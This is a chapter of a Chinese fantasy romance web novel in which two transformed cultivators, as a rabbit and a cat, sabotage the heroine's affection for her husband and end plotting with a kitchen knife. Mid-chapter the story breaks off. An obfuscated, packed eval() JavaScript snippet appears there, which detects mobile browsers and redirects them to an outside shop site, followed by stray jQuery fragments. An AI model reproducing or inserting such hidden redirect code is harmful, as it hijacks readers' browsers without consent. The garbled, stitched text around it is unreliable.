141. 第 141 章
    一声男主人,一兔一猫妒火蹭蹭翻腾,如若林曜和谢渊寂是人类形态,八成得“脸色阴沉”、“发冒黑焰”、演绎一出“风雨欲来”,但现下形貌,他们只能,兔兔装可怜,猫猫逞凶狠。

    “怎么发抖了?是海边冷吗?那我们快些回家。”

    白乐妤加快步伐,向前方已出现轮廓的村庄走去,提到要回她和方誉的家,那两只抖得更加厉害。

    一只心恨恨,盘算如何战术拆家。

    一只爪痒痒,准备直接暴力拆家。

    走过草栅栏,白乐妤推开院门,先放下怀里青兔、赶下肩头黑猫,看看身上脏污:“阿誉,我先去换衣服,你给他俩洗一洗。”

    屋檐下,方誉落了伞,轻轻甩了甩伞面雨水,将伞置到屋口,温和地看过来:“要不你洗个热水澡,阴雨天别受凉,我去烧水。”

    白乐妤一笑,凑过去抱住他的腰,昂起脑袋看他:“要不你和我一起洗呗,你的衣裳也沾了雨。”

    “咳。”方誉的耳朵迅速蔓延开红色,睨了睨地面那两只,“他们还听着。”

    “听就听呗,有什么大不了。”

    最好是真没有大不了。

    谢渊寂气呼呼地黑爪子扣着地面,从白乐妤抱住方誉时就在吵,试图用喵语叫醒在他看来稀里糊涂的白乐妤,等她说完共浴邀请后,他更是叫破喉咙。

    林曜比他冷静,压抑着涌动的嫉妒,他咕了声:“吵有何用?他们二人又听不懂我们讲话,只会引起厌烦。”

    谢渊寂:“我不吵她就要和方誉一起洗澡了!她,她可是魔域之主,岂能被骗到这种程度!”

    林曜:“我们要阻止的不止洗澡,他们是夫妻,该发生的早在我们来前就发生了。”

    谢渊寂一听更生气了,拿到夫君假身份的怎么不是他?是他的话,绝对会日夜鞭策白乐妤以魔域为重,肯定不容白乐妤犯浑,定然比方誉好!

    “那你有何计?”谢渊寂问林曜,林曜一向会抢白乐妤关心,“要不你咕给白乐妤听。”

    “……”

    曾中符箓化过猫的谢渊寂喵叫起来无障碍,林曜变兔可是头一回,每一声都带来无与伦比的羞耻,如无必要他才不会叫。

    “等晚上。”

    不过方誉不同意和白乐妤一同洗澡,共浴的事也没发生。

    白乐妤神情可惜地进了屋子,方誉转头低下眼,对着地上脏兮兮的兔和猫和气地道:“我帮你们洗一下?”

    青兔撒腿就跑,黑猫紧随其后,一前一后噗通跃进了院中央盛满雨水的钢盆。

    两只动物主动洗起澡,方誉唇角微动了下,似意料之中轻笑,转去厨房给白乐妤烧洗澡水。

    到了晚上,一兔一猫又开始闹事,放着方誉做了一下午的窝不睡,要睡方誉和白乐妤的床。一个是狠辣闻名的无情道君,一个是战绩赫赫的魔域域主,可真拉得下脸。

    窗外雨声连绵,呼啸的风撞得窗棂嘭隆作响,窗台的破口瓶里,几株鲜艳的火焰百合摇曳。

    一如此时白乐妤额角的青筋,她躺到床上,在油灯照光中高高兴兴想给方誉一个晚安吻,却屡次三番给不成。

    不是兔头挡着了,就是猫尾打着了,更过分地还有一回,一只猫脚直接按在了她嘴上。

    很难说不是故意的!

    又一次亲不到,白乐妤一手逮住青兔两只长耳,将它提起,一腿压得黑猫趴下:“你们两只单身兔猫见不得人幸福是不是?”

    敏-感的耳朵被攥住,稍微动动便是折磨,林曜兔子瞬间邦硬,谢渊寂猫猫被温暖的腿压着,更发不出声。

    “兴许怕生。”方誉侧躺在白乐妤身边,隔着一兔一猫摸摸她的额头,拂开她凌乱遮眼的碎发,“毕竟我没喂它们吃食,他们或在护你。”

    白乐妤一个字没听:“快快快,趁我钳住它们,阿誉亲我一下,亲脸就行,我的嘴被这猫的臭脚碰过了。”

    谢渊寂:?

    臭脚?

    我那是前肢!是手!是手!而且脚也不臭!

    方誉拂白乐妤头发的手微顿,接着横过冷凉的手掌遮住了她的目,黑暗中,白乐妤感觉到一点柔软在她额心碰了一下。

    “好了,睡吧。”手掌移开,方誉温和的声音响起,他的面容在暖黄色的光线中显得像一幅绯红的水墨画,艳丽又圣洁。

    “别以为我不知道你只是用手指点了一下哦。”这张脸真是让白乐妤没办法,她放下兔子松开猫,无奈地嘟囔,慢慢阖上眼皮,“放过你……”

    方誉悄无声息看了眼睡在他和白乐妤中间的兔猫,见过它们同白乐妤欢乐胡闹的眸底生出几分酸涩,很快褪去,扭头轻手轻脚盖灭了床头油灯。

    他是圣人心性,宽容待人,严于律己,但谢渊寂林曜跟他截然不同,重获自由的黑猫披着黑暗,偷摸摸抬爪放到鼻间闻了闻。

    哼,他就说不臭!

    黑猫高傲地竖起尾巴,红眸睨向盯着白乐妤睡颜的青毛兔子,示意林曜:你不是说等晚上有办法?什么办法?快点做!

    小兔子蹲在暖和的被子上,头低下去睡觉。

    黑猫瞪大瞳孔,焦躁地踩了几下被褥,甚至伸爪去扯兔子的毛。

    林曜睁眼冷横了谢渊寂一眼,后者比他长两百岁,光长年龄不长脑子,不管有何计谋,都得等白乐妤和方誉彻底睡着!人又不是一闭眼就睡着的!

    谢渊寂看不懂林曜想跟他说什么,他就觉得林曜眼神挺不客气,但考虑到林曜是白乐妤弟弟,四舍五入约等于他弟,勉为其难忍了!

    见林曜没下一步动作,黑猫也趴下来睡觉,疲累了一天的意识昏昏沉沉,跌进梦境不自知。

    “白乐妤?”</

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14055980|128116||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>

    周围光线变换,晴空万里,一身银衣的白乐妤向他奔来,谢渊寂看手看脚,这才发现他变回了人身:“白乐妤!你个笨蛋!”他想骂。

    “什么笨蛋?”眼前的白乐妤却露出疑惑,旋即眯眼弯起嘴角,“不管啦,这次出去你在域中有好好批奏折吧?来,让我亲一下。”

    谢渊寂一下浑身滚烫,吊高嗓子:“什、什么!你别玩人丧志——唔。”

    好舒服的感觉,仿佛整个人都要飘起来了,谢渊寂根本连一秒都没坚持到,就捧住她的脸,凶凶地吻了回去。

    这时,一道声音在接吻的两人旁边响起:“小白回来了?热水我给你烧好了。”

    谢渊寂大震,僵硬瞥过头,而身边的白乐妤则跳进方誉怀里,笑意艳艳地亲向他:“阿誉,不愧是我家贤惠的正夫!”

    噩梦!

    黑猫猛然惊醒,爪子将一身猫毛都拽掉了几根,窗外已然黑透,白乐妤和方誉在他一左一右呼吸平稳……黑猫赶紧去推青兔:快快快!他们睡着了!

    林曜也在做类似噩梦,不过他与谢渊寂性格不同,这梦到了谢渊寂结束的地方,他还没结束。

    听到正夫言论后,林曜眼神黑暗波动,大步迈过去,将白乐妤从方誉怀中扯出:“姐姐,杀了他,正夫能否我当?”

    白乐妤回答他时,谢渊寂将林曜拽醒了。

    小兔子睁开黑沉沉的眼睛,莫名有股杀气,仿佛一个饥肠辘辘多日终于看到美食的人,正在垂涎食物,却被另一人抢走。

    黑猫脖子缩了一下,小青兔扫了眼左右两个安眠的人,踮起前肢,小心翼翼地跃过白乐妤跳下床,黑猫也跟着甩动尾巴跳了下去。

    落地后,黑猫跟着青兔走过月光斜照的卧室,来到厨房,灶台边有一张放菜篮的高脚凳,兔子抱住木腿蹭蹭爬了上去。

    谢渊寂在底下昂首看:“喵。”你在干什么?

    林曜:“咕。”要杜绝白乐妤对方誉的错误亲近,得从根源上解决问题。

    兔子灵活地跳到凳面上,扭过兔头,冷酷无情地俯瞰还在高脚凳下面的黑猫。

    “姐姐,杀了他,正夫能否我当?”

    梦中的白乐妤在林曜苏醒前给出了回复,她点了点红艳艳的嘴唇,遗憾地说:“不能哎,你前面还有小谢。”

    雨声不止,月光昏暗,青兔站在高凳上,犹如黑洞的眼睛冷冷睨视凳下黑猫。

    几秒后,青兔跳向灶台:“阻止共浴,阻止亲吻,不如斩断问题根本。”

    黑猫学着兔子的方法,先抱凳腿攀岩,再从凳面跳到灶台上:“问题根本?谁?白乐妤?方誉?”

    “佛修有一物什,留着也无用。”兔子抱起台面一把洗涤干净的菜刀,刀锋在寒夜反射凛冽锋芒,“不如——割了吧。”

    林曜将菜刀交到了谢渊寂手上。